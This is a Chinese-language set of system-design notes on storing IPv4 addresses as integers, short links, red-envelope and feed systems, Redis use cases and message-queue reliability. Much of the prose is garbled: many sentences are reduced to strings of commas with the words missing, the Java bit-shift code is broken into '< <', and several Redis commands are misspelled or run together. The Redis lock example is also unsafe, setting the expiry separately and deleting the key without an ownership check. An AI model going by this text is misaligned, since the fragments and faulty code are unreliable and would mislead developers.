12306刚开始的时候， ， ， ， ， ， ， （ ） ， ， ，
回到这里， ， ， ， ，
这样简单的提高一点门槛，即使是黄牛党也束手无策，他们总不可能为了参加一次秒杀活动，还另外花钱充值会员吧？
# 其它设计
## IP地址存储
当存储IPv4地址时， （ ） ， ， ：
- 节省空间，不管是数据存储空间，还是索引存储空间
- 便于使用范围查询（ ） ，
通常， ， ， ， ， ， ，
使用无符号整数来存储也有缺点：
- 不便于阅读
- 需要手动转换
对于转换来说， ，
```sql
mysql> select inet_aton('192.168.0.1');
+--------------------------+
| inet_aton('192.168.0.1') |
+--------------------------+
| 3232235521 |
+--------------------------+
1 row in set (0.00 sec)
mysql> select inet_ntoa(3232235521);
+-----------------------+
| inet_ntoa(3232235521) |
+-----------------------+
| 192.168.0.1 |
+-----------------------+
1 row in set (0.00 sec)
```
对于IPv6来说， ， ，
对于转换字符串IPv4和数值类型， ， ：
```java
public class IpLongUtils {
/**
* 把字符串IP转换成long
*
* @param ipStr 字符串IP
* @return IP对应的long值
*/
public static long ip2Long(String ipStr) {
String[] ip = ipStr.split("\\.");
return (Long.valueOf(ip[0]) < < 24 ) + ( Long . valueOf ( ip [ 1 ] ) < < 16 )
+ (Long.valueOf(ip[2]) < < 8 ) + Long . valueOf ( ip [ 3 ] ) ;
}
/**
* 把IP的long值转换成字符串
*
* @param ipLong IP的long值
* @return long值对应的字符串
*/
public static String long2Ip(long ipLong) {
StringBuilder ip = new StringBuilder();
ip.append(ipLong >>> 24).append(".");
ip.append((ipLong >>> 16) & 0xFF).append(".");
ip.append((ipLong >>> 8) & 0xFF).append(".");
ip.append(ipLong & 0xFF);
return ip.toString();
}
public static void main(String[] args) {
System.out.println(ip2Long("192.168.0.1"));
System.out.println(long2Ip(3232235521L));
System.out.println(ip2Long("10.0.0.1"));
}
}
```
输出结果为：
```properties
3232235521
192.168.0.1
167772161
```
## 短链接
公认方案：
- **分布式ID生成器产生ID**
- **ID转62进制字符串**
- **记录数据库，根据业务要求确定过期时间，可以保留部分永久链接**
主要难点在于分布式ID生成。鉴于短链一般没有严格递增的需求， ， ， ， ，
## 红包系统
红包系统其实很像秒杀系统，只不过同一个秒杀的总量不大，但是全局的并发量非常大，如春晚可能几百万人同时抢红包。
**技术难点**：
- 主要在数据库，减库存的时候会抢锁
- 由于业务需求不同，没办法异步，也不能超卖，事务更加严格
**不能采用的方式**：
- 乐观锁： ，
- 直接用缓存顶，涉及到钱，一旦缓存挂掉就完了
**建议方式**：
- 接入层垂直切分， ， ， ，
- 请求进行排队，到数据库的时候是串行的，就不涉及抢锁的问题了
- 为了防止队列太长过载导致队列被降级， ， ， ，
- 红包冷热数据分离，按时间分表
## 分布式定时任务
任务轮询或任务轮询+抢占排队方案
- 每个服务器首次启动时加入队列
- 每次任务运行首先判断自己是否是当前可运行任务，如果是便运行
- 如果不是当前运行的任务，检查自己是否在队列中，如果在，便退出，如果不在队列中，进入队列
## 微博推送
**主要难点**：关系复杂，数据量大。一个人可以关注非常多的用户，一个大 V 也有可能有几千万的粉丝。
**基本方案**：
- 推模式： ， ， ， ，
- 拉模式：推模式相反，拉模式则是，用户每次刷新 feed 第一页，都去遍历关注的人，把最新的动态拉取回来
一般采用推拉结合的方式，用户发送状态之后，先推送给粉丝里面在线的用户，然后不在线的那部分等到上线的时候再来拉取。另外冷热数据分离，用户关系在缓存里面可以设置一个过期时间，比如七天。七天没上线的可能就很少用这个 APP。
# Redis应用场景
## 数据缓存
- **热点数据缓存**：如报表、明星出轨、对象缓存、全页缓存都可以提升热点数据的访问速度
- **中间数据缓存**：如导入导出计算中的中间状态数据缓存，以防内存溢出和提升了计算获取数据的速度
## 分布式锁
String 类型setnx方法， ，
```java
public static boolean getLock(String key, long expireTime) {
Long flag = jedis.setnx(key, "1");
if (flag == 1) {
jedis.expire(key, expireTime);
}
return flag == 1;
// NX 不存在则操作，
// return "OK".equals(jedis.set(key, requestId, "NX", "EX", expireTime));
}
public static void releaseLock(String key) {
jedis.del(key);
}
```
## 全局ID
**利用int类型的incrby的原子性**
- 分库分表ID：
- 订单ID：
## 计数器
**int类型，
例如： ，
## 限流
**int类型，
以访问者的ip和其他信息作为key， ，
## 位统计
String类型的bitcount（ ）
```shell
set k1 a
setbit k1 6 1
setbit k1 7 0
get k1
# 6 7 代表的a的二进制位的修改
# a 对应的ASCII码是97，
# b 对应的ASCII码是98，
```
在线用户统计，留存用户统计：
```shell
setbit onlineusers 01
setbit onlineusers 11
setbit onlineusers 20
```
支持按位与、按位或等等操作：
- `BITOPANDdestkeykey[key...]` ：对一个或多个 key 求逻辑并，并将结果保存到 destkey
- `BITOPORdestkeykey[key...]` ：对一个或多个 key 求逻辑或，并将结果保存到 destkey
- `BITOPXORdestkeykey[key...]` ：对一个或多个 key 求逻辑异或，并将结果保存到 destkey
- `BITOPNOTdestkeykey` ：对给定 key 求逻辑非，并将结果保存到 destkey
计算出7天都在线的用户：
```shell
BITOP "AND" "7_days_both_online_users" "day_1_online_users" "day_2_online_users" ... "day_7_online_users"
```
## 购物车
String 或hash。所有String可以做的hash都可以做。
- key：
- field：
- value：
- +1：
- -1：
- 删除：
- 全选：
- 商品数：
## 时间线TimeLine
用户消息时间线TimeLine。list双向链表，
- 推模式：某人发布内容之后推送给所有粉丝，空间换时间，瓶颈在写入
- 拉模式：粉丝从自己的关注列表中读取内容，时间换空间，瓶颈在读取
- 推拉结合：某人发布内容后推送给`活跃粉丝`，不活跃粉丝则使用拉取
目前只讨论推模式， （ ） （ ）
## 消息队列
List提供了两个阻塞的弹出操作：
- `blpop key1 timeout` ：移除并获取列表的第一个元素，如果列表没有元素会阻塞列表直到等待超时或发现可弹出元素为止
- `brpop key1 timeout` 移除并获取列表的最后一个元素，如果列表没有元素会阻塞列表直到等待超时或发现可弹出元素为止
## 抽奖
自带一个随机获得值：`spop myset`。
## 点赞、签到、打卡
假如上面的微博ID是`t1001`， `like:t1001` 来维护 `t1001` 这条微博的所有点赞用户：
- 点赞了这条微博：`sadd like:t1001 u3001`
- 取消点赞：`srem like:t1001 u3001`
- 是否点赞：`sismember like:t1001 u3001`
- 点赞的所有用户：`smembers like:t1001`
- 点赞数：`scard like:t1001`
## 商品标签
用 `tags:i5001` 来维护商品所有的标签。
- `sadd tags:i5001 画面清晰细腻`
- `sadd tags:i5001 真彩清晰显示屏`
- `sadd tags:i5001 流程至极`
## 商品筛选
- 获取差集：`sdiff set1 set2`
- 获取交集（ ） ：
- 获取并集：`sunion set1 set2`
假如：
- `sadd brand:apple iPhone11`
- `sadd brand:ios iPhone11`
- `sad screensize:6.0-6.24 iPhone11`
- `sad screentype:lcd iPhone 11`
筛选商品"苹果的、ios的、屏幕在6.0-6.24之间的， ：
- `sinter brand:apple brand:ios screensize:6.0-6.24 screentype:lcd`
## 用户关注、推荐模型
follow 关注 fans 粉丝
- 相互关注：
- sadd 1:follow 2
- sadd 2:fans 1
- sadd 1:fans 2
- sadd 2:follow 1
- 我关注的人也关注了他(取交集)：
- sinter 1:follow 2:fans
- 可能认识的人：
- 用户1可能认识的人(差集)：
- 用户2可能认识的人：
## 排行榜
id 为6001 的新闻点击数加1：
获取今天点击最多的15条：
# 分布式问题场景
## 消息队列 —— 幂等问题
**微信支付结果通知场景**
- 微信官方文档上提到微信支付通知结果可能会推送多次，需要开发者自行保证幂等性。第一次我们可以直接修改订单状态（如支付中 -> 支付成功），第二次就根据订单状态来判断，如果不是支付中，则不进行订单处理逻辑。
**插入数据库场景**
- 每次插入数据时，先检查下数据库中是否有这条数据的主键 id， ，
**写 Redis 场景**
- Redis 的 `Set` 操作天然幂等性，所以不用考虑 Redis 写数据的问题。
**其他场景方案**
- 生产者发送每条数据时，增加一个全局唯一 id， ， ， ， ， ， ，
- 不同业务场景，可能会有不同的幂等性方案，大家选择合适的即可，上面的几种方案只是提供常见的解决思路。
## 消息队列 —— 消息丢失
### 生产者存放消息的过程中丢失消息
**解决方案**
- 事务机制（不推荐，异步方式）
对于 RabbitMQ 来说，生产者发送数据之前开启 RabbitMQ 的**事务机制**`channel.txselect` ，如果消息没有进队列，则生产者受到异常报错，并进行回滚 `channel.txRollback` ，然后重试发送消息；如果收到了消息，则可以提交事务 `channel.txCommit` 。但这是一个同步的操作，会影响性能。
- confirm 机制（推荐，异步方式）
我们可以采用另外一种模式：`confirm` 模式来解决同步机制的性能问题。每次生产者发送的消息都会分配一个唯一的 id， `ack` 消息，说明这个消息接收成功。如果 RabbitMQ 没能处理这个消息，则回调 `nack` 接口。说明需要重试发送消息。
也可以自定义超时时间 + 消息 id 来实现超时等待后重试机制。但可能出现的问题是调用 ack 接口时失败了，所以会出现消息被发送两次的问题，这个时候就需要保证消费者消费消息的幂等性。
`事务模式` 和 `confirm` 模式的区别：
- 事务机制是同步的，提交事务后悔被**阻塞**直到提交事务完成后。
- confirm 模式异步接收通知，但可能**接收不到通知**。需要考虑接收不到通知的场景。
### 消息队列丢失消息
消息队列的消息可以放到内存中，或将内存中的消息转到硬盘（比如数据库）中，一般都是内存和硬盘中都存有消息。如果只是放在内存中，那么当机器重启了，消息就全部丢失了。如果是硬盘中，则可能存在一种极端情况，就是将内存中的数据转换到硬盘的期间中，消息队列出问题了，未能将消息持久化到硬盘。
**解决方案**
- 创建 `Queue` 的时候将其设置为持久化。
- 发送消息的时候将消息的 `deliveryMode` 设置为 2 。
- 开启生产者 `confirm` 模式，可以重试发送消息。
### 消费者丢失消息
消费者刚拿到数据，还没开始处理消息，结果进程因为异常退出了，消费者没有机会再次拿到消息。
**解决方案**
- 关闭 RabbitMQ 的自动 `ack` ，每次生产者将消息写入消息队列后，就自动回传一个 `ack` 给生产者。
- 消费者处理完消息再主动 `ack` ，告诉消息队列我处理完了。
**问题：** 那这种主动 `ack` 有什么漏洞了？如果 主动 `ack` 的时候挂了，怎么办？
则可能会被再次消费，这个时候就需要幂等处理了。
**问题：** 如果这条消息一直被重复消费怎么办？
则需要有加上重试次数的监测，如果超过一定次数则将消息丢失，记录到异常表或发送异常通知给值班人员。
## 消息队列 —— 消息乱序
## 消息队列 —— 消息积压
## 消息队列 —— 消息过期失效
## 消息队列 —— 队列写满
## Redis —— 数据丢失
## 分库分表 —— 扩容
## 分库分表 —— 唯一ID
## 分布式事务
